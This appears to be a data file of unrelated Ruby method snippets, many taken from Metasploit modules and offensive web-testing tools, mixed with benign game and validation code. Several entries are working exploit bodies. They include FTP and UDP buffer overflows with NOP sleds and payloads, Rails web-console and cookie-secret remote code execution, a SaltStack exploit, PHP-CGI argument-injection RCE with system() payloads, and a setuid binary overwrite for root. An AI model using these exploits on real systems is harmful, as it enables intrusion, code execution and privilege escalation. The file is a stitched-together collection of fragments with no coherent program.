"def exploit\r\n\r\n # Set up the exploit string\r\n exploit_string = (\"\\x41\" * Integer(datastore['OFFSET'])) + [target.ret].pack('V') + \"\\x90\" * 20 + payload.encoded\r\n\r\n # First check to see if the input command is USER or PASS,\r\n # - if either of these, load up the exploit into the standard\r\n # variable names used by connect_login\r\n\r\n if datastore['FTPCOMMAND'] == 'USER'\r\n # Load the username up with the exploit\r\n datastore['FTPUSER'] = exploit_string\r\n end\r\n\r\n if datastore['FTPCOMMAND'] == 'PASS'\r\n # Load the password up with the sploit\r\n datastore['FTPPASS'] = exploit_string\r\n end \r\n\r\n # Connect using the Username / Password \r\n connect_login\r\n\r\n # Now set up the malicious string for all other commands\r\n # (other than USER or PASS)\r\n sploit = datastore['FTPCOMMAND'] + \" \" + exploit_string\r\n \r\n # Send Malicious string to RHOST and PORT\r\n send_cmd( [sploit] , false )\r\n\r\n # Payload Handler\r\n handler\r\n\r\n disconnect\r\n end",
"def display_result(response, host)\n if response.to_s.include? \"\\\"code\\\":0\"\n puts \"[+] #{host}: Vulnerable\"\n else\n puts \"[-] #{host}: Not Vulnerable\"\n end\nend",
"def get_is_exploitable_s\n if @exception_type == \"EXC_ARITHMETIC\"\n return @@NO\n elsif @exception_type == \"EXC_BAD_INSTRUCTION\"\n stack_frame_line = @crashed_thread_stack[0..@crashed_thread_stack.index(\"\\n\")]\n if stack_frame_line =~ /^0\\s+libdispatch.dylib\\s+/ or stack_frame_line =~ /^0\\s+libxpc.dylib\\s+/\n return @@NO\n else\n return @@YES\n end\n elsif self.access_type == \"recursion\"\n return @@NO #this check needs to be before the suspicious stack check.\n elsif self.suspicious_stack?\n return @@YES\n elsif @exception_type == \"EXC_CRASH\"\n return @@NO\n elsif @exception_type == \"EXC_BREAKPOINT\"\n return @@NO\n elsif @exception_type == \"EXC_BAD_ACCESS\"\n acc_type = self.access_type\n if acc_type == \"exec\"\n return @@YES\n end\n if @exception_code0 =~ /(KERN_INVALID_ADDRESS|KERN_PROTECTION_FAILURE|0x000000000000000a)/ and \\\n @access_address.to_i(16) < @@PAGE_SIZE\n #Null derefs for any access type other than exec are considered non-security\n return @@NO\n elsif acc_type == \"read\"\n if $exploitable_reads\n return @@YES\n end\n return @@NO\n elsif acc_type == \"write\"\n if @exception_code0 != \"0x000000000000000d\" and @access_address.to_i(16) == 0xbbadbeef\n return @@NO\n else \n return @@YES\n end\n elsif acc_type == \"recursion\"\n return @@NO\n elsif acc_type == \"unknown\"\n return @@UNKNOWN\n end\n else\n dputs \"Unexpected exception type #{@exception_type}\"\n return @@UNKNOWN\n end\n\n return @@UNKNOWN\n end",
"def check\r\n\t\tconnect\r\n\t\tdisconnect\r\n\r\n\t\tcase banner\r\n\t\t\twhen /Serv-U FTP Server v4\\.1/\r\n\t\t\t\tprint_status('Found version 4.1.0.3, exploitable')\r\n\t\t\t\treturn Exploit::CheckCode::Vulnerable\r\n\r\n\t\t\twhen /Serv-U FTP Server v5\\.0/\r\n\t\t\t\tprint_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');\r\n\t\t\t\treturn Exploit::CheckCode::Appears\r\n\r\n\t\t\twhen /Serv-U FTP Server v4\\.0/\r\n\t\t\t\tprint_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');\r\n\t\t\t\tsend_user(datastore['USER'])\r\n\t\t\t\tsend_pass(datastore['PASS'])\r\n\t\t\t\tif (double_ff?())\r\n\t\t\t\t\tprint_status('Found version 4.0.0.4, exploitable');\r\n\t\t\t\t\treturn Exploit::CheckCode::Vulnerable\r\n\t\t\t\telse\r\n\t\t\t\t\tprint_status('Found version 4.1.0.0, exploitable');\r\n\t\t\t\t\treturn Exploit::CheckCode::Vulnerable\r\n\t\t\t\tend\r\n\r\n\t\t\twhen /Serv-U FTP Server/\r\n\t\t\t\tprint_status('Found an unknown version, try it!');\r\n\t\t\t\treturn Exploit::CheckCode::Detected\r\n\r\n\t\t\telse\r\n\t\t\t\tprint_status('We could not recognize the server banner')\r\n\t\t\t\treturn Exploit::CheckCode::Safe\r\n\t\tend\r\n\r\n\t\treturn Exploit::CheckCode::Safe\r\n\tend",
"def hack(box)\n encrypted = box.encrypt(\"A\" * 64)\n attack_msg = encrypted[0,16] + ([0]*16).pack(\"C*\") + encrypted[0,16] + encrypted[48,32]\n response = box.access(attack_msg)\n raise \"Attack failed\" if response[0] == :ok\n attack_decrypted = response[1]\n attack_decrypted[0,16].xor(attack_decrypted[32,16])\n end",
"def exploit_type\n Exploit::Type::Remote\n end",
"def tainted?() end",
"def isBadPHP(payload)\n if payload.include?(\"phpMyAdmin\")\n return true\n else\n return false\n end\nend",
"def secure?\n #debugger\n false\n end",
"def exploit_type\n Msf::Exploit::Type::Local\n end",
"def via_exploit\n\t\tself.via['Exploit'] if (self.via)\n\tend",
"def via_exploit\n\t\tself.via['Exploit'] if (self.via)\n\tend",
"def exploit\n connect_udp\n sploit = rand_text_alpha(target['Offset'], bad = payload_badchars)\n sploit << [target.ret].pack('V')\n sploit << make_nops(16)\n sploit << payload.encoded\n udp_sock.put(sploit)\n handler\t\n disconnect_udp\t\t\n end",
"def attackable?\n true\n end",
"def run\n super\n\n require_enrichment\n\n vulnerable_version = \"1.920\"\n\n # check our fingerprints for a version\n our_version = nil\n fp = _get_entity_detail(\"fingerprint\")\n fp.each do |f|\n if f[\"product\"] == \"Webmin\" && f[\"version\"] != \"\"\n our_version = f[\"version\"]\n break\n end\n end\n\n if our_version\n _log \"Got version: #{our_version}\"\n\n if ::Versionomy.parse(our_version) <= ::Versionomy.parse(vulnerable_version)\n _log_good \"Potentially Vulnerable!\"\n\n ###\n # check passwd change priv\n ####\n url = \"#{_get_entity_name}/password_change.cgi\"\n cookies = \"redirect=1; testing=1; sid=x; sessiontest=1\"\n headers = { \"Referer\" => \"#{_get_entity_name}/session_login.cgi\", \"Cookie\" => cookies }\n res = http_request :post, url, nil, headers\n\n # make sure we got a response\n unless res\n _log \"Not vulnerable, no response!\"\n return\n end\n\n # check to see if we got a failure immediately\n if res.code == 500 && res.body =~ /Password changing is not enabled/\n _log \"Not vulnerable, Password changing not enabled!\"\n return\n end\n\n ### okay if we made it this far, create an issue\n _create_linked_issue(\"vulnerability_webmin_cve_2019_15107\", {\n proof: {\n detected_version: our_version,\n response_code: res.code,\n response_body: res.body\n }\n })\n else\n _log \"Version #{our_version} is newer than vulnerable version: #{vulnerable_version}\"\n\n end\n\n else\n _log_error \"Unable to get version, failing\"\n return\n end\n\n end",
"def check\n # run a nuclei\n uri = _get_entity_name\n template = 'vulnerabilities/wordpress/wordpress-woocommerce-sqli'\n\n # if this returns truthy value, an issue will be raised\n # the truthy value will be added as proof to the issue\n run_nuclei_template uri, template\n end",
"def envirosupport\n\t\tputs \"[\".light_green + \"*\".white + \"] Please enter the number for the option you want to try and run\".light_green + \": \".white\n\t\tputs \"0)\".white + \" Return to Previous Menu\".light_green + \"!\".white\n\t\tputs \"1)\".white + \" User-Agent Based Injection\".light_green\n\t\tputs \"2)\".white + \" Accept Header Based Injection\".light_green\n\t\tcase gets.chomp\n\t\t\twhen \"0\"\n\t\t\t\tputs \"[\".light_red + \"X\".white + \"] OK, Returning to Previous Menu\".light_blue + \"....\".white\n\t\t\t\tputs\n\t\t\twhen \"1\"\n\t\t\t\tputs \"[\".light_green + \"*\".white + \"] Testing User-Agent Based Injection\".light_green + \"......\".white\n\t\t\t\t@rnd = randz(5)\n\t\t\t\t@uapayload = \"<?error_reporting(0);echo \\\":\\\".\\\"#{@rnd}:\\\".\\\"working...check,check,1,2,3\\\".\\\":#{@rnd}:\\\";?>\"\n\t\t\t\tbasicregex(@thegoods, 1)\n\n\t\t\t\tif not @envirores == 'fail'\n\t\t\t\t\tputs \"[\".light_green + \"*\".white + \"] Injection Test Successful\".light_green + \"!\".white\n\t\t\t\t\tputs \"[\".light_green + \"*\".white + \"] \".light_green + \"#{@envirores}\".white\n\t\t\t\telse\n\t\t\t\t\tputs \"[\".light_red + \"X\".white + \"] User-Agent Header Based Injection Test Doesn't appear to be working\".light_red + \"!\".white\n\t\t\t\t\tputs \"[\".light_red + \"X\".white + \"] Check manually to confirm 100%, sorry\".light_red + \".....\".white\n\t\t\t\t\tputs\n\t\t\t\t\tenvirosupport\n\t\t\t\tend\n\t\t\t\tputs\n\t\t\twhen \"2\"\n\t\t\t\tputs \"[\".light_green + \"*\".white + \"] Testing Accept Header Based Injection\".light_blue + \"......\".white\n\t\t\t\t@rnd = randz(5)\n\t\t\t\t@accpayload = \"<?error_reporting(0);echo \\\":\\\".\\\"#{@rnd}:\\\".\\\"working...check,check,1,2,3\\\".\\\":#{@rnd}:\\\";?>\"\n\t\t\t\tbody = basicregex(@thegoods, 2)\n\n\t\t\t\tif not @@envirores == 'fail'\n\t\t\t\t\tputs \"[\".light_green + \"*\".white + \"] Injection Test Successful\".light_green + \"!\".white\n\t\t\t\t\tputs \"[\".light_green + \"*\".white + \"] \".light_green + \"#{@envirores}\".white\n\t\t\t\telse\n\t\t\t\t\tputs \"[\".light_red + \"X\".white + \"] User-Agent Header Based Injection Test Doesn't appear to be working\".light_red + \"!\".white\n\t\t\t\t\tputs \"[\".light_red + \"X\".white + \"] Check manually to confirm 100%, sorry\".light_red + \".....\".white\n\t\t\t\t\tputs\n\t\t\t\t\tenvirosupport\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tcls\n\t\t\t\tputs\n\t\t\t\tputs \"Oops, Didn't quite understand that one\".light_red + \"!\".white\n\t\t\t\tputs \"Please Choose a Numbered Option From Below\".light_red + \":\".white\n\t\t\t\tputs\n\t\t\t\tenvirosupport\n\t\t\tend\n\tend",
"def check_vulnerabilities(banner, file = false)\n if file\n File.readlines(file).map(&:strip).each do |line|\n return true if line.match?(banner)\n end\n else\n @known_vulnerabilities.each do |vulnerability|\n return true if vulnerability.match?(banner)\n end\n end\n false\n end",
"def vulnerable?\n !@results.empty?\n end",
"def check_page(page)\n # -- if error is found, it will dump first 2000 characters of the page to the screen\n raise \"-- [ERROR] User name incorrect !\\n\\n\" if /User name or password is incorrect/.match(page)\n if /An Error Occurred/.match(page)\n p (\"-- Error occured, dumping partial stack trace to the screen...\")\n page[0,2000].each { |s| p s } if page.length >= 2000\n raise \"-- [ERROR] Exception occured !\\n\\n\"\n end\n end",
"def taint() end",
"def infected?(filename)\n file = File.open(filename)\n data = file.read\n file.close\n\n if data.include? '#@! infected by virus !@#'\n true\n else\n false\n end\nend",
"def normal_php_cgi_rce_exploit_cmd(link, command)\n http=EasyCurb.new\n test_payload = \"<?php print(___); system(#{command.strip.chomp}); print(___); ?>\"\n if not link =~ /\\?-d\\+allow_url_include/i\n trigger = '?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'\n site=link\n site.sub!(/\\/$/, '') unless link.split('.')[-1] == 'php'\n link = site + trigger\n end\n res = http.post(link, test_payload)\n if res[0] =~ /___(.+)___|______/m\n return true\n else\n return false\n end\nend",
"def check_on_attack(attacker,target,atk_skill,fail = false, success = false)\n string = Lecode_Challenge_Maker::On_Attack[name]\n error = \"Kernel.eval Error | \"+name+\" | on_attack\"\n Kernel.eval(string) rescue msgbox error\n if success\n checkSuccess(false)\n else\n checkCondition(!fail)\n end end",
"def exploit\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path),\r\n 'method' => 'GET',\r\n 'headers' => {\r\n 'X-Forwarded-For' => '0000::1'\r\n }\r\n }, 25)\r\n\r\n unless res\r\n print_error(\"Error: No response requesting #{datastore['TARGETURI']}\")\r\n return\r\n end\r\n\r\n web_console_path = nil\r\n\r\n # Support vulnerable Web Console versions\r\n if res.body.to_s =~ /data-remote-path='([^']+)'/\r\n web_console_path = \"/\" + $1\r\n end\r\n\r\n # Support newer Web Console versions\r\n if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/\r\n web_console_mount = $1\r\n unless res.body.to_s =~ /data-session-id='([^']+)'/\r\n print_error(\"Error: No session id found requesting #{datastore['TARGETURI']}\")\r\n return\r\n end\r\n web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)\r\n end\r\n\r\n unless web_console_path\r\n if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')\r\n print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')\r\n else\r\n print_error(\"Error: No web console path found when requesting #{datastore['TARGETURI']}\")\r\n end\r\n return\r\n end\r\n\r\n print_status(\"Sending payload to #{web_console_path}\")\r\n res = send_request_cgi({\r\n 'uri' => web_console_path,\r\n 'method' => 'PUT',\r\n 'headers' => {\r\n 'X-Forwarded-For' => '0000::1',\r\n 'Accept' => 'application/vnd.web-console.v2',\r\n 'X-Requested-With' => 'XMLHttpRequest'\r\n },\r\n 'vars_post' => {\r\n 'input' => payload.encoded\r\n }\r\n }, 25)\r\n end",
"def on_request(request, response)\n\t\t# is it a html page?\n\t\tif response.content_type =~ /^text\\/html.*/\n\t#\t\tIf you want to make a MiM on the official site use the next regex, otherwise for a MiM on the Mirror the on_pre_request function.\n\t#\t\tBetterCap::Logger.info \"Exploit http://#{request.host}#{request.path}..\".green\n\t#\t\tresponse.body.gsub! %r/[\"']http:\\/\\/*[^\\s]+\\.(exe)[\"']/i, \"http://www.example.org/Exploit.exe\"\n\t\t\tresponse.body.gsub! /[a-f0-9]{64}/i, \"fake_hash_here\"\n\t\tend\n\tend",
"def check_security(people)\n found_miscreant(people)\n some_later_code(found)\nend",
"def exploit\r\n if datastore['RAILSVERSION'] == 3\r\n cookie = rails_3\r\n elsif datastore['RAILSVERSION'] == 4\r\n cookie = rails_4\r\n end\r\n cookie_name = datastore['COOKIE_NAME']\r\n\r\n print_status(\"Checking for cookie #{datastore['COOKIE_NAME']}\")\r\n res = send_request_cgi({\r\n 'uri' => datastore['TARGETURI'] || \"/\",\r\n 'method' => datastore['HTTP_METHOD'],\r\n }, 25)\r\n if res && res.headers['Set-Cookie']\r\n match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)\r\n end\r\n\r\n if match\r\n if match[1] == datastore['COOKIE_NAME']\r\n print_status(\"Found cookie, now checking for proper SECRET\")\r\n else\r\n print_status(\"Adjusting cookie name to #{match[1]}\")\r\n cookie_name = match[1]\r\n end\r\n\r\n if check_secret(match[2],match[3])\r\n print_good(\"SECRET matches! Sending exploit payload\")\r\n else\r\n fail_with(Exploit::Failure::BadConfig, \"SECRET does not match\")\r\n end\r\n else\r\n print_warning(\"Caution: Cookie not found, maybe you need to adjust TARGETURI\")\r\n if cookie_name.nil? || cookie_name.empty?\r\n # This prevents trying to send busted cookies with no name\r\n fail_with(Exploit::Failure::BadConfig, \"No cookie found and no name given\")\r\n end\r\n if datastore['VALIDATE_COOKIE']\r\n fail_with(Exploit::Failure::BadConfig, \"COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway\")\r\n else\r\n print_status(\"Trying to leverage default controller without cookie confirmation.\")\r\n end\r\n end\r\n\r\n print_status \"Sending cookie #{cookie_name}\"\r\n res = send_request_cgi({\r\n 'uri' => datastore['TARGETURI'] || \"/\",\r\n 'method' => datastore['HTTP_METHOD'],\r\n 'headers' => {'Cookie' => cookie_name+\"=\"+ cookie},\r\n }, 25)\r\n\r\n handler\r\n end",
"def check_password_contents\n if /[a-zA-Z]+/.match(@password) && /\\d+/.match(@password) && /[[:punct:]]/.match(@password)\n else\n generate\n end\n end",
"def attack?\n if rand(@danger_level) > 3\n report_action 'attacking!'\n sleep 7\n return true\n else \n report_action 'not attacking....'\n sleep 1\n return false\n end\n end",
"def is_wrong_password? password\nuri = URI.parse 'http://rubyschool.us/router'\n#response = Net::HTTP.get uri\n#p response\nresponse = Net::HTTP.post_form(uri, :login => \"admin\", :password => password).body\np response.include? \"denied\" # Тело объекта, который мы получаем через запрос\nend",
"def validate_user_input(input)\r\n if input =~ \"/(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |\"\\\r\n \"(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(&lt;)|\"\\\r\n \"(&gt;)/\"\r\n return nil\r\n end \r\n return input \r\n end",
"def check_guess(guess)\n @black_pegs, @white_pegs = @secret.check_code(guess)\n broken?\n end",
"def checkPrivilegedHdr\n hdr = request.env['HTTP_PRIVILEGED'] or return false\n privKey = ENV['ESCHOL_PRIV_API_KEY'] or raise(\"missing env ESCHOL_PRIV_API_KEY\")\n hdr.strip == privKey or halt(403, \"Incorrect API key\")\n return true\n end",
"def exploit\n begin\n # attempt a login. In this case we show basic auth, and a POST to a fake username/password\n # simply to show how both are done\n vprint_status('Attempting login')\n # since we will check res to see if auth was a success, make sure to capture the return\n res = send_request_cgi(\n 'uri' => '/login.html',\n 'method' => 'POST',\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'vars_post' => {\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n }\n )\n\n # a valid login will give us a 301 redirect to /home.html so check that.\n # ALWAYS assume res could be nil and check it first!!!!!\n if res && res.code != 301\n fail_with(Failure::UnexpectedReply, \"#{peer} - Invalid credentials (response code: #{res.code})\")\n end\n\n # grab our valid cookie\n cookie = res.get_cookies\n # we don't care what the response is, so don't bother saving it from send_request_cgi\n vprint_status('Attempting exploit')\n send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'command.html'),\n 'method' => 'POST',\n 'cookie' => cookie,\n 'vars_post' =>\n {\n 'cmd_str' => payload.encoded\n }\n )\n\n rescue ::Rex::ConnectionError\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n end\n\n end",
"def XSS_Scan(data, pkt)\n\tif (pkt.tcp_dst == 80)\t#look only at http (port 80)\n\t\tif( (data =~ /(GET|POST)/) != nil )\t\t#look only in GET or POSTe requests\n\t\t\tif( (data =~ /(<|%3C)(s|S)(c|C)(r|R)(i|I)(p|P)(t|T)(>|%3E)/) != nil)\n\t\t\t\tputs $alertNum.to_s() + \". ALERT: \" + \"XSS is detected from \" + pkt.ip_saddr + \" (\" + pkt.proto.last + \")!\" \n\t\t\t\t$alertNum += 1\n\t\t\tend\n\t\tend\n\tend\n\nend",
"def passwords(data, pkt)\n\tif( (data =~ /(\\s|_)(p|P)(a|A)(s|S)(s|S)(w|W)(o|O)(r|R)(d|D)(\\s|:|=)/) != nil )\n\t\tputs $alertNum.to_s() + \". ALERT: \" + \"password leaked in the clear from \" + pkt.ip_saddr + \" (\" + pkt.proto.last + \")!\" \n\t\t$alertNum += 1\n\tend\n\nend",
"def check_valid(secret)\r\n\t@game.secret = secret\r\n\tsarray = []\r\n\ti = 0\r\n\tsecret.split('').each do|c| \r\n\t\tsarray[i] = c\r\n\t\ti=i+1\r\n\tend\r\nend",
"def contains_special(password)\n if password.include?(\"!\") || password.include?(\"#\") || password.include?(\"$\")\n puts \"Acceptable\"\n else \n puts \"Password must contain at least one of the following: !, #, or $\"\n end\nend",
"def cmd_specialty(*args)\n if args.length > 0\n cmd_specialty_help\n return true\n end\n print_line client.exploit.hw_specialty.to_s\n end",
"def catnip_attack\r\n\t\t# prints string announcing cat has found catnip and is now\r\n\t\t# bouncing off the walls\r\n\t\t\tputs \"Uh oh the cat has found the catnip and is going crazy!\"\r\n\t\tend",
"def exploit\n if target.name.start_with?('Master')\n if (root_key = datastore['ROOT_KEY'])\n print_status(\"User-specified root key: #{root_key}\")\n else\n # check.reason is from auxiliary/gather/saltstack_salt_root_key\n root_key = check.reason\n end\n\n unless root_key\n fail_with(Failure::BadConfig,\n \"#{target['Description']} requires a root key\")\n end\n end\n\n # These are from Msf::Exploit::Remote::ZeroMQ\n zmq_connect\n zmq_negotiate\n\n print_status(\"#{target['Description']}: #{datastore['PAYLOAD']}\")\n\n case target.name\n when /^Master/\n yeet_runner(root_key)\n when /^Minions/\n yeet_send_pub\n end\n\n # HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one\n sleep(wfs_delay)\n rescue EOFError, Rex::ConnectionError => e\n print_error(\"#{e.class}: #{e.message}\")\n ensure\n # This is from Msf::Exploit::Remote::ZeroMQ\n zmq_disconnect\n end",
"def obfuscate(text); end",
"def check_for_special(str)\n if str =~ /^(PHP |)Fatal error: (.+)\\s*/\n $stderr.puts \"Fatal error detected: #{str}\" if @debug\n @fatal = str.strip\n check_alive\n elsif str =~ /^Killed\\s*$/\n $stderr.puts \"Killed error detected: #{str}\" if @debug\n @fatal = \"Process was killed.\"\n check_alive\n end\n end",
"def exploit_bomb()\r\n puts \"++ We get signal. Overwriting #{TARGET_BINARY} with #{TARGET_SHELL_PATH}.\"\r\n\r\n # Overwriting with this method will always work well if binary at TARGET_SHELL_PATH\r\n # is bigger than TARGET_BINARY (ex. /bin/sh is 1068844 bytes and /bin/ps is 68432).\r\n # An alternative method is running diskutil again to set the rogue permissions.\r\n over = File.new(TARGET_BINARY, \"w\")\r\n over.write(File.read(TARGET_SHELL_PATH))\r\n over.close\r\n \r\n unless FileTest.setuid?(TARGET_BINARY)\r\n fork do\r\n FileUtils.rm_f TARGET_BINARY\r\n FileUtils.cp TARGET_SHELL_PATH, TARGET_BINARY\r\n exec \"#{DISKUTIL_PATH} repairPermissions /\"\r\n end\r\n Process.wait\r\n end\r\n \r\n puts \"++ Done. Happy ruuting.\"\r\nend",
"def exploitable?\n return true if status == EXPLOITABLE or status == POSSIBLY_EXPLOITABLE\n return false\n end",
"def apache_script_alias_rce_check(site)\n if $config['HTTP']['TOR_PROXY']\n print_error(\"Sorry - NO TOR Support for this module at this time!\")\n return nil\n end\n paths = [ '', '/backdoor', '/phppath', '/php_amon', '/local-bin', '/php', '/php3', '/php4', '/php5', '/bin', '/_php' ]\n paths.each do |p|\n rnd = randz(8)\n chksum = Digest::MD5.hexdigest(rnd)\n test_payload = \"<?php print(___); echo md5('#{rnd}'); print(___); ?>\"\n uri = URI.parse(site.sub(/\\/$/, '') + p + URI.encode('/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=\"\"+-d+open_basedir=none+-d+auto_prepend_file=php://input+-n'))\n if $config['HTTP']['PROXY']\n http = Net::HTTP.new(uri.host, uri.port, $config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n else\n http = Net::HTTP.new(uri.host, uri.port)\n end\n request = Net::HTTP::Post.new(uri.request_uri, { \"User-Agent\" => $config['HTTP']['HTTP_USER_AGENT'] })\n request.body = test_payload\n if $config['HTTP']['REF']\n request['Referer'] = $config['HTTP']['REFERER']\n end\n if $config['HTTP']['HTTP_HEADERS_ADD']\n $config['HTTP']['HTTP_HEADERS'].each do |k, v|\n request[\"#{k}\"] = \"#{v}\"\n end\n end\n if $config['HTTP']['COOKIESUPPORT']\n cookies = File.open($config['HTTP']['COOKIEFILE']).read\n request[\"Cookie\"] = cookies.to_s\n end\n if $config['HTTP']['HTTP_AUTH']\n request.basic_auth $config['HTTP']['HTTP_AUTH_USER'], $config['HTTP']['HTTP_AUTH_PASS']\n end\n response = http.request(request)\n if response.body.gsub(/Notice: Use of undefined constant ___ - assumed '___' in - on line \\d+/i, '') =~ /___#{chksum}/\n print_good(\"PHP CGI Code Injection is Possible!\")\n print_status(\"Confirmation: __#{chksum}__\")\n print_status(\"POST: #{uri}\")\n print_status(\"DATA: #{test_payload}\")\n return p\n else\n print_error(\"#{p}...\")\n end\n end\n return nil\nend",
"def cmd_check(*args)\n\t\tdefanged?\n\n\t\tbegin\n\n\t\t\tcode = mod.check_simple(\n\t\t\t\t'LocalInput' => driver.input,\n\t\t\t\t'LocalOutput' => driver.output)\n\n\t\t\tif (code)\n\t\t\t\tstat = '[*]'\n\n\t\t\t\tif (code == Msf::Exploit::CheckCode::Vulnerable)\n\t\t\t\t\tstat = '[+]'\n\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\tprint_line(stat + ' ' + code[1])\n\t\t\telse\n\t\t\t\tprint_error(\n\t\t\t\t\t\"Check failed: The state could not be determined.\")\n\t\t\tend\n\t\trescue\n\t\t\tlog_error(\"Check failed: #{$!}\")\n\t\tend\n\tend",
"def crypto_attack(exploit_string)\r\n getsin_msg = fetch_getsin\r\n if getsin_msg.nil?\r\n return nil\r\n end\r\n\r\n getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'\r\n keystream = get_keystream(getsin_msg, getsin_kp)\r\n\r\n if keystream.length < exploit_string.length\r\n missing_bytecount = exploit_string.length - keystream.length\r\n\r\n print_status(\"Missing #{missing_bytecount} bytes of keystream ...\")\r\n\r\n inferrence_segment = ''\r\n brute_max = 4\r\n\r\n if missing_bytecount > brute_max\r\n print_status(\"Using inferrence attack ...\")\r\n\r\n # Offsets to monitor for changes\r\n target_offset_range = []\r\n for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)\r\n target_offset_range << i\r\n end\r\n\r\n # Store inference results\r\n inference_results = {}\r\n\r\n # As long as we haven't fully recovered all offsets through inference\r\n # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]\r\n getsin_observation = [''] * 4\r\n buffer_head = 0\r\n\r\n for i in 0..2\r\n getsin_observation[i] = [fetch_getsin].pack('H*')\r\n Rex.sleep(0.5)\r\n end\r\n\r\n buffer_tail = 3\r\n\r\n # Actual inference attack happens here\r\n while !target_offset_range.empty?\r\n getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')\r\n Rex.sleep(0.5)\r\n\r\n # We check if we spot a change within a position between two consecutive items within our circular buffer\r\n # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0\r\n target_offset_range.each do |x|\r\n index = buffer_head\r\n\r\n while index != buffer_tail do\r\n next_index = (index + 1) % 4\r\n\r\n # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same\r\n # observations as well while being constant in at least one previous or subsequent observation\r\n if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))\r\n target_offset_range.delete(x)\r\n inference_results[x] = xor_strings(getsin_observation[index][x], '9')\r\n break\r\n end\r\n index = next_index\r\n end\r\n end\r\n\r\n # Update circular buffer head & tail\r\n buffer_tail = (buffer_tail + 1) % 4\r\n # Move head to right once tail wraps around, discarding oldest item in circular buffer\r\n if buffer_tail == buffer_head\r\n buffer_head = (buffer_head + 1) % 4\r\n end\r\n end\r\n\r\n # Inferrence attack done, reconstruct final keystream segment\r\n inf_seg = [\"\\x00\"] * (keystream.length + missing_bytecount)\r\n inferrence_results.each do |x, val|\r\n inf_seg[x] = val\r\n end\r\n\r\n inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join\r\n missing_bytecount = brute_max\r\n end\r\n\r\n if missing_bytecount > brute_max\r\n print_status(\"Improper keystream recovery ...\")\r\n return nil\r\n end\r\n\r\n print_status(\"Initiating brute force ...\")\r\n\r\n # Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)\r\n charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']\r\n char_range = missing_bytecount.times.map { charset }\r\n char_range.first.product(*char_range[1..-1]) do |x|\r\n p = x.join\r\n candidate_plaintext = getsin_kp + p\r\n candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment\r\n filedata = try_exploit(exploit_string, candidate_keystream, true)\r\n\r\n if !filedata.nil?\r\n return filedata\r\n end\r\n end\r\n return nil\r\n end\r\n\r\n try_exploit(exploit_string, keystream, false)\r\n end",
"def check_banner(ip, version)\n version =~ /libssh[_-]?([\\d.]*)$/ && $1 && (v = Gem::Version.new($1))\n\n if v.nil?\n vprint_error(\"#{ip}:#{rport} - #{version} does not appear to be libssh\")\n Exploit::CheckCode::Unknown\n elsif v.to_s.empty?\n vprint_warning(\"#{ip}:#{rport} - libssh version not reported\")\n Exploit::CheckCode::Detected\n elsif v.between?(Gem::Version.new('0.6.0'), Gem::Version.new('0.7.5')) ||\n v.between?(Gem::Version.new('0.8.0'), Gem::Version.new('0.8.3'))\n vprint_good(\"#{ip}:#{rport} - #{version} appears to be unpatched\")\n Exploit::CheckCode::Appears\n else\n vprint_error(\"#{ip}:#{rport} - #{version} appears to be patched\")\n Exploit::CheckCode::Safe\n end\n end",
"def can_access(u)\n if $config.options['debug']\n puts(\"ident: #{@ident} vs. #{u.ident}\")\n puts(\" host: #{@host} vs. #{u.rhost}\")\n puts(\" cert: #{@certfp} vs. #{u.certfp}\")\n puts(\" acct: #{@account} vs. #{u.su}\")\n puts(\"matc1: #{Match.match(@ident, u.ident, true)}\")\n puts(\"matc2: #{Match.match(@host, u.rhost, true)}\")\n puts(\" cert: #{(u.certfp && @certfp && u.certfp == @certfp)}\")\n puts(\" acct: #{u.su && @account && u.su == @account}\")\n end\n #identmatch = match(@ident, u.ident, true)\n #hostmatch = match(@host, u.rhost, true)\n #certfpmatch = u.certfp && @certfp && u.certfp\n Match.match(@ident, u.ident, true) && (Match.match(@host, u.rhost, true) ||\n Match.match(@host, u.ip, true))\n ((u.certfp && @certfp && u.certfp == @certfp) ||\n (u.su && @account && u.su == @account)) &&\n # Invalid O:line\n !(!@account && !@certfp)\n end",
